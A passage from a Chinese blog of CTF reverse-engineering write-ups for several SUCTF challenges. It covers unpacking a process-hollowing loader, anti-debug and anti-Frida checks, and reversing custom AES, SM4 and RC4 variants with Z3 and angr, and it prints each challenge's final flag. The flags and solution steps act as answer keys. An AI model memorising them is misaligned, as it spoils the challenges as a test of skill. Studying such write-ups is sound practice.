  • 逐字节检查 input[i] ^ 0x5A == table[i]

但继续跟主流程后会发现,这里只是一个烟雾弹,并不是真正的校验逻辑。

真实路径中,chal.exe 会:

  • 解密自身数据段中的隐藏 PE
  • 创建挂起子进程
  • 执行 Process Hollowing
  • 通过管道把输入交给隐藏 PE

因此,chal.exe 本体只是第一层壳。

二、提取隐藏 PE

chal.exe 的解密函数进行模拟后,可以恢复出第二层可执行文件。 该隐藏 PE 导入了如下关键 API:

  • CreateFileA
  • DeviceIoControl
  • CloseHandle
  • fgets
  • memcmp

同时可以看到关键字符串:

\.\Revird

这说明隐藏 PE 会把输入交给驱动进行处理。

三、隐藏 PE 的主逻辑

隐藏 PE 的主函数逻辑比较直接:

  1. 从标准输入读取字符串
  2. 去掉换行符
  3. 打开设备 \\.\Revird
  4. 调用核心处理函数
  5. 得到 0x40 字节输出
  6. 与程序内置的 64 字节目标常量进行 memcmp
  7. 完全相同则返回成功

因此,问题可以转化为:

还原“输入 -> 64 字节输出”的完整变换,再对目标常量做逆运算。

四、驱动通信协议

隐藏 PE 通过如下方式与驱动通信:

DeviceIoControl(hDevice, 0x222000, inbuf, 0x40, outbuf, 0x30, ...)

输入缓冲区中包含:

  • 魔数 0x52455649
  • 异常类型
  • 命令号
  • 轮数
  • block 编号
  • 两段 16 字节数据

输出缓冲区长度为 0x30,不同命令会使用其中不同位置的 16 字节结果。

驱动中的关键命令语义如下:

  • cmd 2:自定义非线性替换
  • cmd 3ShiftRows
  • cmd 4MixColumns + RoundKey
  • cmd 5:首轮异或
  • cmd 6:末轮异或

五、异常控制流的作用

隐藏 PE 中有大量故意制造的异常:

  • int3
  • 除零异常
  • 空指针写
  • RaiseException(0xE0421002)

这些异常并不是题目的核心加密逻辑,而是用于打散控制流、提升静态分析难度。 去掉这些异常伪装后,可以把它们统一视作对驱动命令的包装调用。

六、还原整体算法

综合隐藏 PE 与驱动逻辑,可以确认整体算法本质上是一套“改造版 AES-CBC”:

  • 分组大小:16 字节
  • 总输出长度:64 字节
  • 填充方式:PKCS#7
  • 共 4 个 block
  • 使用自定义 S-box、Rcon 和轮密钥

每个分组的加密流程可表示为:

state = plaintext_block ^ prev_block  
state ^= round_key[0]  
​  
for round in 1..9:  
    state = CustomSubBytes(state)  
    state = ShiftRowsAndReorder(state)  
    state = MixColumns(state)  
    state ^= round_key[round]  
​  
state = CustomSubBytes(state)  
state = ShiftRowsAndReorder(state)  
state ^= round_key[10]

其中:

  • prev_block 为 CBC 链中的前一块或 IV
  • CustomSubBytes 由隐藏 PE 与驱动中的表共同决定
  • 实际生效的轮密钥来自用户态与驱动态两边 key material 的组合

七、逆向恢复明文

程序最终比较的是隐藏 PE 内置的 64 字节目标密文。 在完整还原算法后,只需要对这 4 个 block 逐块执行逆变换即可:

  1. 去掉末轮密钥
  2. 逆排列
  3. 逆替换
  4. MixColumns
  5. 去掉对应轮密钥
  6. 最后结合 CBC 的前一块或 IV 还原明文
  7. 去除 PKCS#7 padding

恢复得到的明文为:

SUCTF{D0_y0U_unD3r5t4nd_Th15_m491c4l_435?_41218}

之后再将其重新走一遍正向加密,得到的 64 字节结果与程序内置目标常量完全一致,验证通过。

最终 Flag

SUCTF{D0_y0U_unD3r5t4nd_Th15_m491c4l_435?_41218}

总结

这道题的关键难点不在单个函数,而在于把三部分拼起来:

  • chal.exe 的壳与隐藏 PE 提取
  • 隐藏 PE 的驱动调度逻辑
  • Revird.sys 中各个命令的真实语义

当这三部分被统一到一个完整模型里后,本题就可以转化为对自定义分组算法的逆向还原,最终稳定解出 flag。

SU_flumel

题目信息

  • 题目文件:flumel.apk
  • 关键 Native:flumel/lib/x86_64/libjunk.so
  • 关键资源:flumel/assets/flutter_assets/bundles/cache.snap.bundle
  • 最终 flag:SUCTF{w311_d0n3_y0u_kn0w_h3rm35_n0w}

总体思路

这题是一个典型的 Flutter + Native 混合校验题。

一开始如果只盯着 libjunk.so,会发现它确实在做最终的 flag 校验,但直接从 Native 里解出来的并不是可读字符串,而是一段 36 字节的中间态数据。说明真正的用户输入在进入 Native 之前,还经过了 APK / Dart 层的一次变换。

所以正确做法是:

  1. 先逆 libjunk.so,搞清楚最终比较逻辑,拿到 Native 校验前的中间态。
  2. 再逆 APK 里的 Dart 逻辑,找到输入是怎么被预处理的。
  3. 把两层拼起来,逆回原始 flag。

一、分析 libjunk.so

1.1 关键函数定位

libjunk.so 里,核心校验函数是导出的 qk9v,地址为:

  • 0x4490

结合 IDA MCP 和调用关系,可以确定它接收 4 个参数:

  1. 用户输入对应的字节指针
  2. 用户输入长度
  3. cache.snap.bundle 的字节指针
  4. cache.snap.bundle 的长度

其中它会强校验:

  • 输入长度必须是 36
  • bundle 长度必须 >= 256

1.2 反调试 / 反 Frida

qk9v 开头有一段比较标准的检测逻辑,包括:

  • 读取 /proc/self/status 检查 TracerPid
  • /proc/self/maps
  • /proc/self/task/*/comm
  • 匹配关键字:

    • frida-agent
    • frida-gadget
    • gum-js-loop
    • linjector

这部分对最终解题没有本质影响,静态分析即可绕过。

1.3 Hermes bundle 参与校验

Native 不只是简单拿 bundle 当常量,而是真的把它作为校验链的一部分使用:

  • 会调用 HermesRuntime::isHermesBytecode
  • 会构造 Hermes runtime
  • 用字符串 "bundles/cache.snap.bundle" 作为脚本名去执行该 bundle

也就是说,cache.snap.bundle 不是障眼法,而是参与了后续密钥派生。

1.4 AES 校验逻辑

qk9v 会对 36 字节输入做如下处理:

  1. 使用 PKCS#7 padding,把 36 字节补到 48 字节
  2. 使用 AES-128-CBC 加密
  3. 将密文和 so 内嵌常量比较

输入补齐后,末尾会补 12 个 0x0c

1.5 Key / IV 派生

从 so 中还原出的派生公式如下。

先定义:

  • fnv32 = FNV1a32(bundle)
  • crc32 = CRC32(bundle)

然后:

key[i] = key_mask[i]
        ^ ((fnv32 + i) & 0xff)
        ^ bundle[(11 + 17*i) % len(bundle)]

iv[i] = iv_mask[i]
        ^ (((crc32 >> 8) + 3*i) & 0xff)
        ^ bundle[(7 + 29*i) % len(bundle)]

其中:

  • key_mask 位于 0x1FE0
  • iv_mask 位于 0x2020

把 so 内嵌密文拼出来后,直接 AES-CBC 解密,得到 Native 期待的 36 字节明文:

2f3314c304c1fa86dbd85e331093d5959d7eae4bc2a903315194e53c9ca07babd8d8d743

Base64 形式为:

LzMUwwTB+obb2F4zEJPVlZ1+rkvCqQMxUZTlPJyge6vY2NdD

但它不是可打印 ASCII,所以这不是最终 flag,而是 APK 层处理后的中间结果。

二、分析 APK / Dart 层

2.1 还原 Dart 逻辑

这是 Flutter 应用,直接看 Java 层意义不大。核心逻辑在 libapp.so 对应的 Dart AOT 代码里。

这里使用 blutterlibapp.so 做还原,得到关键文件:

  • ctf_verifier.dart

从还原结果可以看到核心流程:

CtfVerifier::verify  
  -> _loadHermesBundle()  
  -> _buildRc4Key()  
  -> Rc4Warp::process(userInput)  
  -> _verifyInNativeAsync()  
  -> _nativeWorker()  
  -> dlopen("libjunk.so")  
  -> dlsym("qk9v")

所以 Native 收到的并不是用户原始输入,而是 Rc4Warp::process 的输出。

2.2 bundle 来源

_loadHermesBundle() 直接从资源里加载:

bundles/cache.snap.bundle

然后把这个 bundle 的字节数组传给 Native。

这就和前面 libjunk.so 的 bundle 依赖完全对上了。

2.3 RC4 key 的构造

_buildRc4Key() 很清楚,常量数组为:

[0x1f, 0x3b, 0x3f, 0x03, 0x00, 0x0a, 0xcf, 0xe5, 0xe7, 0xe8, 0xca, 0xcc, 0xd2]

对每个位置 i,做:

key[i] = const[i] ^ ((9*i + 0x4b) & 0xff)

算出来就是:

TobeorNottobe

2.4 Rc4Warp::process 不是标准 RC4

继续看 Rc4Warp::process 会发现,它借用了 RC4 的 S 盒思路,但 KSA 和 PRGA 都做了额外扰动,不是标准 RC4。

关键点有两层:

  1. 初始化 S[256]
  2. 用自定义的轮转、异或、索引扰动生成密钥流

KSA 部分

初始化:

  • S[i] = i
  • acc = 0
  • rot = 0xC3

循环 i = 0..255

k1 = key[(5*i + 1) % key_len]  
k2 = key[(3*i + 7) % key_len]  
rot = rol8(rot, 1)  
acc = (acc + S[i] + k1 + (k2 ^ rot) + i) & 0xff  
swap(S[i], S[acc])

PRGA 部分

初始化:

  • i = 0
  • j = 0
  • rot = 0x9d

对每个输入字节 b

i = (i + 1) & 0xff  
si = S[i]  
j = (j + si + 11*i) & 0xff  
swap(S[i], S[j])  
sj = S[i]  
u = (sj + si + (S[(i + j) & 0xff] ^ rot)) & 0xff  
rot = rol8(rot, 3)  
su = S[u]  
ks = su ^ S[(su ^ rot) & 0xff] ^ ((13*i) & 0xff)  
out_byte = b ^ ks

因为这里依旧是异或型流加密,所以加密和解密是同一个函数。

三、拼出最终 flag

前面从 Native 层拿到的是中间态:

2f3314c304c1fa86dbd85e331093d5959d7eae4bc2a903315194e53c9ca07babd8d8d743

再把它丢进 Rc4Warp::process(key="TobeorNottobe") 做一次逆运算,就得到最终输入:

SUCTF{w311_d0n3_y0u_kn0w_h3rm35_n0w}

四、最终脚本

为了方便复现,最终把完整逻辑写进了:

  • solve_flag.py

它做了三件事:

  1. libjunk.so 提取常量
  2. 结合 cache.snap.bundle 派生 AES key / iv 并解密
  3. 运行 Dart 层自定义 Rc4Warp,恢复最终 flag

五、结论

这题的难点不在单独某一层,而在于:

  • Native 层只给出“中间态”
  • Dart 层又藏了一层自定义流变换
  • cache.snap.bundle 同时被 APK 和 Native 共用

只逆 so 会卡在“解出一段乱码”,只看 APK 又拿不到最终比较条件。必须把 Flutter 层和 Native 层一起串起来,才能完整解题。

Flag

SUCTF{w311_d0n3_y0u_kn0w_h3rm35_n0w}

SU_West

题目信息

  • 题目名:SU_West
  • 类型:Reverse
  • 分值:363PT
  • 样本:Journey_to_the_West.exe

最终 flag

SUCTF{y0u_h4v3_0v3rc0m3_81_d1ff1cu1t135}


一、程序入口分析

程序入口在 main,核心流程很清晰:

  1. 先做一轮反调试检测。
  2. 读取输入。
  3. 对 81 轮数据逐轮校验。
  4. 如果全部通过,直接打印 40 字节 flag

反编译后主逻辑可以概括成:

if (sub_140001100(..., 1)) {  
    puts("debugger detected");  
} else {  
    if (sub_1400012C0(argc, argv, inputs)) {  
        puts("all inputs collected, starting verification...");  
        if (sub_1400013B0(inputs, &round_idx, &layer_idx)) {  
            puts("correct");  
        } else {  
            printf("incorrect at round %zu (layer %u)\n", ...);  
        }  
    } else {  
        puts("input format error");  
    }  
}

其中最关键的是:

  • sub_1400012C0:读取 81 个输入。
  • sub_1400013B0:执行 81 轮校验,成功后打印 flag。

二、输入格式

输入支持两种方式:

  1. 交互式输入 81 次。
  2. 作为命令行参数一次性传入。

真正的解析函数是 sub_140013070,约束如下:

  • 必须是十进制数字串。
  • 长度必须是 16
  • 数值范围是 [10^15, 10^16 - 1]

命令行模式下,81 个数用逗号分隔,对应函数是 sub_140012F90

所以样本的输入本质上是:

81 个 16 位十进制整数


三、81 轮校验结构

sub_1400013B0 初始化了一个状态结构,然后循环 81 次:

for (i = 0; i != 81; ++i) {  
    layer = byte_14003DEE0[i];  
    if ( sub_140001100(...)  
      || !funcs_140001499[layer](&state, input[i])  
      || sub_140001100(...) ) {  
        // 失败,记录 round / layer  
        return 0;  
    }  
}  
printf("flag: %.*s\n", 40, flag_buf);

这里有两个非常关键的全局数据:

  • byte_14003DEE0:长度 81 的层顺序表,决定每一轮调用哪一个 layer。
  • funcs_140001499:81 个函数指针,分别对应 81 个 layer 的校验函数。

这意味着:

  • 输入顺序固定是 81 轮。
  • 但每轮真正执行的校验函数,由 byte_14003DEE0 决定。

四、反调试

程序有几层反调试:

  • IsDebuggerPresent
  • CheckRemoteDebuggerPresent
  • 遍历导入表 / 内存页属性做额外检查
  • 基于 clock() 的耗时检测

这部分主要在:

  • sub_140001580
  • sub_140001780
  • sub_1400017E0

不过这题并不需要正面硬刚反调试。因为:

  • 直接静态分析即可;
  • 关键校验逻辑都能被完整复现;
  • 外围的 sub_140001100 更像“状态搅动器”,不是唯一判定来源。

五、每层函数的公共模板

随便看几层函数,比如:

  • sub_140001EB0
  • sub_1400021A0
  • sub_1400024B0
  • sub_1400051A0

会发现它们虽然常量不同,但骨架高度一致:

  1. 先调用一组公共 helper:

    • sub_140012480
    • sub_140012630
    • sub_140012780
    • sub_140012940
  2. sub_140012940(...) 的结果和一个 64 位常量比较。
  3. 比较成功后,再更新状态和 flag 缓冲区:

    • sub_140012B90
    • sub_140012C00
    • sub_140012CA0

也就是说,每轮校验的核心其实是:

给定当前 state、round、layer、table,找到一个 16 位十进制整数 input,
使得 sub_140012940(...) == 当前 layer 对应的 magic 常量

这就把题目变成了一个非常适合脚本化求解的问题。


六、关键数据布局

每个 layer 都对应一块大小约 0xC0 的数据表,起始于:

0x14002A710

后续 layer 表是连续排列的。

这些表会被公共 helper 读取,用来生成每层不同的约束。

因此整题的结构可以概括为:

layer 函数模板 + 每层常量 + 每层数据表 + layer 调度顺序


七、求解思路

1. 提取 layer 对应的 magic 常量

每个 layer 函数里都会出现一段逻辑:

v_magic = sub_140012940(...);
if ( v_magic != 0xXXXXXXXXXXXXXXX )
   return 0;

所以先把 81 个函数扫一遍,提取出每层比较用的 64 位常量。

我在脚本里直接用:

  • pefile 读 PE
  • capstone 反汇编函数

自动从函数中抓出这组 magic

2. 复现公共 helper

把下面这些 helper 用 Python 完整复现:

  • sub_140012480
  • sub_140012630
  • sub_140012780
  • sub_140012940
  • sub_140012B90
  • sub_140012C00
  • sub_140012CA0

其中:

  • 前三个主要负责从当前输入和状态推导中间值;
  • sub_140012940 产出真正拿去比较的 64 位结果;
  • 后三个在每轮成功后更新状态和 flag 缓冲区。

3. 用 Z3 逐轮求输入

每轮只需要求一个变量:

input_i ∈ [10^15, 10^16 - 1]

令:

sub_140012940(...) == magic[layer]

交给 z3 求解即可。

因为每轮求出的输入会影响后续状态,所以必须:

  1. 按真实轮次顺序求;
  2. 每解出一轮就更新一次状态;
  3. 再进入下一轮。

这样递推 81 次,最终不仅能得到全部输入,还能同步还原出 flag 缓冲区。


八、自动化脚本

本地求解脚本已经写在:

solve.py

运行方式:

python solve.py

脚本完成的事情:

  1. 读取 Journey_to_the_West.exe
  2. 提取函数表、layer 顺序表和 layer 数据表
  3. 自动提取各 layer 的 magic
  4. z3 逐轮求 81 个输入
  5. 按真实逻辑更新状态和 flag 缓冲区
  6. 输出最终 flag

九、验证

将脚本求出的 81 个输入作为命令行参数喂给程序,程序输出:

all inputs collected, starting verification...
flag: SUCTF{y0u_h4v3_0v3rc0m3_81_d1ff1cu1t135}
correct

说明求解完全正确。


十、总结

这题表面上是 81 层大体量校验,实际上是一个很标准的“模板化层函数 + 每层常量/表驱动”的逆向题。

核心突破点有三个:

  1. 识别 81 个 layer 函数其实是同一套模板。
  2. 把真正的判定条件缩到 sub_140012940(...) == magic
  3. 用脚本复现公共逻辑并结合 z3 逐轮求解。

最终 flag

SUCTF{y0u_h4v3_0v3rc0m3_81_d1ff1cu1t135}

SU_old_bin

题目信息

附件里核心文件是 old.bin。 目标是还原校验逻辑并求出最终 flag。

最终得到的 flag 为:

flag{3putis6omqi3u7034722576kpze4udduejoko8zr3e6ozvp8mosm6065q1}

这串内容已经送回程序验证逻辑,结果为 valid=True


1. 初步分析

先对 old.bin 做基础检查:

  • 熵很高,不像纯文本或普通压缩包
  • 开头也不是常见文件头
  • 很像整体被做了一层简单混淆

实际分析后发现:

old.bin 的每个字节都被异或了 0x7f

还原后得到一个自定义镜像,开头是 IMG0


2. 拆出镜像内容

IMG0 里一共有 4 个 entry:

  1. entry00.bin
  2. entry01.bin
  3. entry02.bin
  4. entry03.bin

其中最关键的是:

  • entry01.bin:解压后是主程序
  • entry02/entry03:一些 SMALLFW 包,里面有 CTF_PAYLOAD_*NOTE_*

2.1 entry01

entry01.bin 经 xz 解压后,能得到一份被改坏 ELF 头的 MIPS64 little-endian 程序。 修正头部后得到:

old.bin_246/entry01.fixed.elf

这就是主逆向目标。

2.2 entry02 / entry03

这两个包继续展开后,能看到:

  • SMALLFW
  • 多层 xz/gzip/zip
  • 若干 CTF_PAYLOAD_file_*
  • NOTE_0_ZIKH26
  • NOTE_1_ZIKH26

这些内容一开始看起来很像 flag 载体,但后面证明主解法还是在 entry01.fixed.elf 的校验逻辑里。


3. 主程序功能定位

entry01.fixed.elf 丢进 IDA 后,主逻辑很快能定位到:

  • sub_120007FF8:初始化验证状态
  • sub_120009B7C:处理一次客户端连接
  • sub_1200084F4:发 32 字节 challenge
  • sub_120008658:真正验证输入
  • sub_120009E44:主函数,带 socket/accept 循环

程序流程大致是:

  1. 初始化一份内部状态
  2. 给客户端发一个 32 字节 challenge
  3. 从客户端读最多 64 字节
  4. 跑一套自定义变换
  5. 和内置 64 字节目标值比较
  6. 成功则打印 VALIDATION_SUCCESS

4. 校验逻辑拆解

4.1 状态初始化

状态由 4 个固定 qword 作为种子:

0xFFF55731369D7563
0x16E58EB22FBD5C72
0x3632ED844C43F5B0
0x390980A442221584

再经过:

  • splitmix64
  • xoshiro256**

生成内部随机状态。

初始化阶段会构造三块关键数组:

  • arr4[64]
  • arr5[64]
  • arr6[48]

其中:

  • arr50..63 洗牌后的结果
  • arr4/arr6 由 PRNG + AES S-box 生成

4.2 输入预处理

用户输入最多 64 字节,不足的部分会自动补:

pad[j] = (17 * j) & 0xff

然后每一位再和 arr4[(7*j)&0x3f] + j 异或。

4.3 六轮字节变换

随后进入 6 轮逐字节变换,每轮都会从 PRNG 取一个 6-bit mask:

x ^= mask + pos + round_idx
x = rol8(x, 1)
x ^= AES_SBOX[(x + 13 * round_idx) & 0xff]

4.4 二次重排

接下来生成 i3[64]

idx = arr5[k] & 0x3f
tmp = i2[idx] ^ arr6[k % 0x30]
i3[k] = AES_SBOX[tmp] ^ arr4[k]

4.5 16 字节分块加密

i3 被分成 4 个 block,每个 block 16 字节。 之后进入一个“类 SM4 但被魔改过”的分组算法。

关键点:

  • S 盒不是标准调用方式,而是 table[(x + 55) & 0xff]
  • 线性层是用 64 位寄存器做“32 位窗口旋转”
  • 常量 CK 不是标准 SM4 的那组值
  • 最终只取每个输出 qword 的低 32 位对应字节参与比较

最后输出的 64 字节会和程序内置 target 比较。


5. 逆向过程中的关键坑点

这题最大的坑不是“大算法难”,而是“细节很多,错一处整题全偏”。

5.1 rol64 的 64 位截断

我一开始自己写的 rol64 没有在旋转前先做:

value &= 0xFFFFFFFFFFFFFFFF

而 xoshiro 里有:

rol64(5 * s1, 7)

5 * s1 在 Python 会变成无限精度整数,如果不先截成 64 位,右移时会把多出来的高位也带进去,导致随机流悄悄错掉。

修正后:

  • arr4 和真机一致
  • arr5 和真机一致

这一步是整题真正的突破点。

5.2 魔改 CK 常量

块加密一开始看起来很像 SM4,但 round key 一直对不上。 后面通过 angr 对照真实函数执行,确认:

CK 不是标准 SM4 CK

需要用程序内实际内存里的 32 个常量。

5.3 key 传参格式

sub_120009938 的第二个参数并不是原始 16-byte key 直接传进去, 而是先拆成 4 个 32 位 big-endian word,再放进 qword 低 32 位。

如果这里直接按 16 字节原样传,轮密钥会全错。

5.4 输出并不唯一

把整套逻辑逆出来后,会发现:

  • 每个字节并不一定只有一个前像
  • 也就是说“满足校验”的字符串不是唯一

但题目显然是 CTF flag,前缀自然应当收敛到:

flag{

在所有可行字符中选出标准 flag 形式后,得到最终答案。


6. 求解思路总结

整体求解步骤如下:

  1. old.bin ^ 0x7f,恢复 IMG0
  2. 提取 entry01
  3. 解压并修正 ELF 头,得到 MIPS64 程序
  4. 在 IDA 中定位验证函数
  5. 还原:

    • PRNG
    • arr4/arr5/arr6
    • 6 轮字节变换
    • 魔改块加密
  6. 用真实执行结果校正脚本中的细节错误
  7. 逆出 64 字节可行输入
  8. 从可行解中选出符合 flag{...} 形式且能通过验证的一组

7. 最终结果

最终通过验证的 flag:

flag{3putis6omqi3u7034722576kpze4udduejoko8zr3e6ozvp8mosm6065q1}


8. 题后总结

这题最有代表性的地方有两个:

  1. 外层拆包很多,容易让人误以为 flag 在 SMALLFW/NOTE/CTF_PAYLOAD
  2. 真正主逻辑虽然不算超大,但实现细节非常毒:

    • 64 位截断
    • 魔改常量
    • 参数打包格式
    • 只取输出低 32 位字节

如果没有把“脚本实现”和“真二进制执行”逐步对齐,很容易陷在一个看起来很合理、但永远差一点点的错误模型里。


9. 相关脚本

目录里我用到/补过的主要脚本有:

  • solve_flag.py
  • angr_compare.py
  • angr_state_compare.py
  • analyze_solution_space.py

其中真正最后收敛 flag 的核心是:

  • 先把 solve_flag.py 修到和真机一致
  • 再用 analyze_solution_space.py 确认可选字符范围
  • 最后选出 flag{...} 形式的合法解
朗读
赞(0)
版权属于:

霍雅的博客

本文链接:

https://www.huoya.work/bk/index.php/archives/564/(转载时请注明本文出处及文章链接)

评论 (0)

人生倒计时

今日已经过去小时
这周已经过去
本月已经过去
今年已经过去个月